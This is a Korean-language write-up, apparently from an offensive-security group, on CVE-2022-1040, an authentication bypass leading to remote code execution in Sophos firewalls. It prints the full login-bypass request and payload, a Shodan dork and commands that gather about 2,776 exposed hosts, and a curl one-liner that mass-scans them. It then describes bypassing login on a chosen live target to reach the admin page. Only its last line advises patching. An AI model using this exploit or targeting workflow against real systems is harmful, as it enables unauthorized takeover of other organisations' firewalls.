
CVE-2022-1040
공격적 사이버보안에 전념하는 연구 그룹 Toasec,에서는 Sophos 방화벽의 이 취약점에 대한 분석을 수행했습니다.
이 취약점은 다른 많은 취약점과 마찬가지로 트위터에서 검색 방법을 알면 발견하고 알릴 수 있습니다. 3월부터 RCE에 관한 기사가 나타나기 시작했습니다.
POC가 있는 저장소를 살펴보면
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
로그인 우회를 가능하게 하는 페이로드(mode=151&json=)와 엔드포인트 webconsole/webpages/login.jsp를 확인할 수 있습니다.
이제 greynose에서 공격을 분석하고 실제로 악용되고 있는지 확인해 보겠습니다.

엔드포인트를 식별하고 greynoise를 사용하여 공격에 사용된 일부 경로를 확인한 후 shodan에서 dork를 생성할 수 있습니다: title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" 이 dork가 가장 확률이 높은 것으로 확인되었지만, 취약한 버전은 Sophos XG115w Firewall 17.0.10 MR-10임을 기억해야 합니다.

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
데이터를 확인합니다.
자동화에 적합한 형식으로 데이터를 파싱하면 2776개의 잠재적 대상이 있음을 확인할 수 있습니다.
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

이제 onliner로 더 쉽게 작업할 수 있도록 쉼표를 제거하고 정리해야 합니다.
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
이제 더 적합한 형식으로 onliner를 사용할 수 있습니다.
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

대상을 확인한 후에는 로그인 패널에 접속하여 하나를 선택하고 테스트를 진행하면 됩니다.

로그인 요청을 가로채서 리스폰더로 보냅니다.

페이로드로 요청을 수정하면 방화벽 관리 페이지로 리디렉션되어야 합니다.

index.jsp 경로에 접근해 봅니다.

대상에 취약점이 존재함을 확인했습니다. 마찬가지로 많은 호스트에서 활성 상태이지만, 최근 다른 취약점에 대한 광범위한 완화 조치가 관찰되었습니다.
이러한 경우 가장 중요한 것은 제조업체에서 보안 패치가 제공되는 즉시 업데이트 및 설치를 수행하는 것입니다.